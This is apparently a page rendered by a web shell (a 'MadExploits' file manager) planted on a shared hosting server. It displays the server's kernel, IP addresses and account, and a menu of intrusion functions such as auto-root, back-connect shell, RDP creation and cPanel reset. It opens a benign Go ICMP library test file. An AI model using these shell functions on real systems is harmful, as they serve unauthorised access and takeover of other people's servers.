Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
net@v0.20.0 /
icmp /
[ HOME SHELL ]
Name
Size
Permission
Action
diag_test.go
6.56
KB
-r--r--r--
dstunreach.go
1.52
KB
-r--r--r--
echo.go
4.23
KB
-r--r--r--
endpoint.go
2.65
KB
-r--r--r--
example_test.go
1.28
KB
-r--r--r--
extension.go
4.18
KB
-r--r--r--
extension_test.go
7.99
KB
-r--r--r--
helper_posix.go
1.58
KB
-r--r--r--
interface.go
7.68
KB
-r--r--r--
ipv4.go
1.98
KB
-r--r--r--
ipv4_test.go
1.69
KB
-r--r--r--
ipv6.go
553
B
-r--r--r--
listen_posix.go
2.83
KB
-r--r--r--
listen_stub.go
1.19
KB
-r--r--r--
message.go
4.86
KB
-r--r--r--
message_test.go
7.73
KB
-r--r--r--
messagebody.go
1.41
KB
-r--r--r--
mpls.go
1.88
KB
-r--r--r--
multipart.go
3.57
KB
-r--r--r--
multipart_test.go
13.51
KB
-r--r--r--
packettoobig.go
1.17
KB
-r--r--r--
paramprob.go
1.89
KB
-r--r--r--
sys_freebsd.go
268
B
-r--r--r--
timeexceeded.go
1.49
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_test.go
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package icmp_test import ( "bytes" "net" "reflect" "testing" "golang.org/x/net/icmp" "golang.org/x/net/internal/iana" "golang.org/x/net/ipv4" "golang.org/x/net/ipv6" ) func TestMarshalAndParseMessage(t *testing.T) { fn := func(t *testing.T, proto int, tms []icmp.Message) { var pshs [][]byte switch proto { case iana.ProtocolICMP: pshs = [][]byte{nil} case iana.ProtocolIPv6ICMP: pshs = [][]byte{ icmp.IPv6PseudoHeader(net.ParseIP("fe80::1"), net.ParseIP("ff02::1")), nil, } } for i, tm := range tms { for _, psh := range pshs { b, err := tm.Marshal(psh) if err != nil { t.Fatalf("#%d: %v", i, err) } m, err := icmp.ParseMessage(proto, b) if err != nil { t.Fatalf("#%d: %v", i, err) } if m.Type != tm.Type || m.Code != tm.Code { t.Errorf("#%d: got %#v; want %#v", i, m, &tm) continue } if !reflect.DeepEqual(m.Body, tm.Body) { t.Errorf("#%d: got %#v; want %#v", i, m.Body, tm.Body) continue } } } } t.Run("IPv4", func(t *testing.T) { fn(t, iana.ProtocolICMP, []icmp.Message{ { Type: ipv4.ICMPTypeDestinationUnreachable, Code: 15, Body: &icmp.DstUnreach{ Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv4.ICMPTypeTimeExceeded, Code: 1, Body: &icmp.TimeExceeded{ Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv4.ICMPTypeParameterProblem, Code: 2, Body: &icmp.ParamProb{ Pointer: 8, Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv4.ICMPTypeEcho, Code: 0, Body: &icmp.Echo{ ID: 1, Seq: 2, Data: []byte("HELLO-R-U-THERE"), }, }, { Type: ipv4.ICMPTypeExtendedEchoRequest, Code: 0, Body: &icmp.ExtendedEchoRequest{ ID: 1, Seq: 2, Extensions: []icmp.Extension{ &icmp.InterfaceIdent{ Class: 3, Type: 1, Name: "en101", }, }, }, }, { Type: ipv4.ICMPTypeExtendedEchoReply, Code: 0, Body: &icmp.ExtendedEchoReply{ State: 4 /* Delay */, Active: true, IPv4: true, }, }, }) }) t.Run("IPv6", func(t *testing.T) { fn(t, iana.ProtocolIPv6ICMP, []icmp.Message{ { Type: ipv6.ICMPTypeDestinationUnreachable, Code: 6, Body: &icmp.DstUnreach{ Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv6.ICMPTypePacketTooBig, Code: 0, Body: &icmp.PacketTooBig{ MTU: 1<<16 - 1, Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv6.ICMPTypeTimeExceeded, Code: 1, Body: &icmp.TimeExceeded{ Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv6.ICMPTypeParameterProblem, Code: 2, Body: &icmp.ParamProb{ Pointer: 8, Data: []byte("ERROR-INVOKING-PACKET"), }, }, { Type: ipv6.ICMPTypeEchoRequest, Code: 0, Body: &icmp.Echo{ ID: 1, Seq: 2, Data: []byte("HELLO-R-U-THERE"), }, }, { Type: ipv6.ICMPTypeExtendedEchoRequest, Code: 0, Body: &icmp.ExtendedEchoRequest{ ID: 1, Seq: 2, Extensions: []icmp.Extension{ &icmp.InterfaceIdent{ Class: 3, Type: 2, Index: 911, }, }, }, }, { Type: ipv6.ICMPTypeExtendedEchoReply, Code: 0, Body: &icmp.ExtendedEchoReply{ State: 5 /* Probe */, Active: true, IPv6: true, }, }, }) }) } func TestMarshalAndParseRawMessage(t *testing.T) { t.Run("RawBody", func(t *testing.T) { for i, tt := range []struct { m icmp.Message wire []byte parseShouldFail bool }{ { // Nil body m: icmp.Message{ Type: ipv4.ICMPTypeDestinationUnreachable, Code: 127, }, wire: []byte{ 0x03, 0x7f, 0xfc, 0x80, }, parseShouldFail: true, }, { // Empty body m: icmp.Message{ Type: ipv6.ICMPTypeDestinationUnreachable, Code: 128, Body: &icmp.RawBody{}, }, wire: []byte{ 0x01, 0x80, 0x00, 0x00, }, parseShouldFail: true, }, { // Crafted body m: icmp.Message{ Type: ipv6.ICMPTypeDuplicateAddressConfirmation, Code: 129, Body: &icmp.RawBody{ Data: []byte{0xca, 0xfe}, }, }, wire: []byte{ 0x9e, 0x81, 0x00, 0x00, 0xca, 0xfe, }, parseShouldFail: false, }, } { b, err := tt.m.Marshal(nil) if err != nil { t.Errorf("#%d: %v", i, err) continue } if !bytes.Equal(b, tt.wire) { t.Errorf("#%d: got %#v; want %#v", i, b, tt.wire) continue } m, err := icmp.ParseMessage(tt.m.Type.Protocol(), b) if err != nil != tt.parseShouldFail { t.Errorf("#%d: got %v, %v", i, m, err) continue } if tt.parseShouldFail { continue } if m.Type != tt.m.Type || m.Code != tt.m.Code { t.Errorf("#%d: got %v; want %v", i, m, tt.m) continue } if !bytes.Equal(m.Body.(*icmp.RawBody).Data, tt.m.Body.(*icmp.RawBody).Data) { t.Errorf("#%d: got %#v; want %#v", i, m.Body, tt.m.Body) continue } } }) t.Run("RawExtension", func(t *testing.T) { for i, tt := range []struct { m icmp.Message wire []byte }{ { // Unaligned data and nil extension m: icmp.Message{ Type: ipv6.ICMPTypeDestinationUnreachable, Code: 130, Body: &icmp.DstUnreach{ Data: []byte("ERROR-INVOKING-PACKET"), }, }, wire: []byte{ 0x01, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 'E', 'R', 'R', 'O', 'R', '-', 'I', 'N', 'V', 'O', 'K', 'I', 'N', 'G', '-', 'P', 'A', 'C', 'K', 'E', 'T', }, }, { // Unaligned data and empty extension m: icmp.Message{ Type: ipv6.ICMPTypeDestinationUnreachable, Code: 131, Body: &icmp.DstUnreach{ Data: []byte("ERROR-INVOKING-PACKET"), Extensions: []icmp.Extension{ &icmp.RawExtension{}, }, }, }, wire: []byte{ 0x01, 0x83, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 'E', 'R', 'R', 'O', 'R', '-', 'I', 'N', 'V', 'O', 'K', 'I', 'N', 'G', '-', 'P', 'A', 'C', 'K', 'E', 'T', 0x20, 0x00, 0xdf, 0xff, }, }, { // Nil extension m: icmp.Message{ Type: ipv6.ICMPTypeExtendedEchoRequest, Code: 132, Body: &icmp.ExtendedEchoRequest{ ID: 1, Seq: 2, Local: true, }, }, wire: []byte{ 0xa0, 0x84, 0x00, 0x00, 0x00, 0x01, 0x02, 0x01, }, }, { // Empty extension m: icmp.Message{ Type: ipv6.ICMPTypeExtendedEchoRequest, Code: 133, Body: &icmp.ExtendedEchoRequest{ ID: 1, Seq: 2, Local: true, Extensions: []icmp.Extension{ &icmp.RawExtension{}, }, }, }, wire: []byte{ 0xa0, 0x85, 0x00, 0x00, 0x00, 0x01, 0x02, 0x01, 0x20, 0x00, 0xdf, 0xff, }, }, { // Crafted extension m: icmp.Message{ Type: ipv6.ICMPTypeExtendedEchoRequest, Code: 134, Body: &icmp.ExtendedEchoRequest{ ID: 1, Seq: 2, Local: true, Extensions: []icmp.Extension{ &icmp.RawExtension{ Data: []byte("CRAFTED"), }, }, }, }, wire: []byte{ 0xa0, 0x86, 0x00, 0x00, 0x00, 0x01, 0x02, 0x01, 0x20, 0x00, 0xc3, 0x21, 'C', 'R', 'A', 'F', 'T', 'E', 'D', }, }, } { b, err := tt.m.Marshal(nil) if err != nil { t.Errorf("#%d: %v", i, err) continue } if !bytes.Equal(b, tt.wire) { t.Errorf("#%d: got %#v; want %#v", i, b, tt.wire) continue } m, err := icmp.ParseMessage(tt.m.Type.Protocol(), b) if err != nil { t.Errorf("#%d: %v", i, err) continue } if m.Type != tt.m.Type || m.Code != tt.m.Code { t.Errorf("#%d: got %v; want %v", i, m, tt.m) continue } } }) }
Close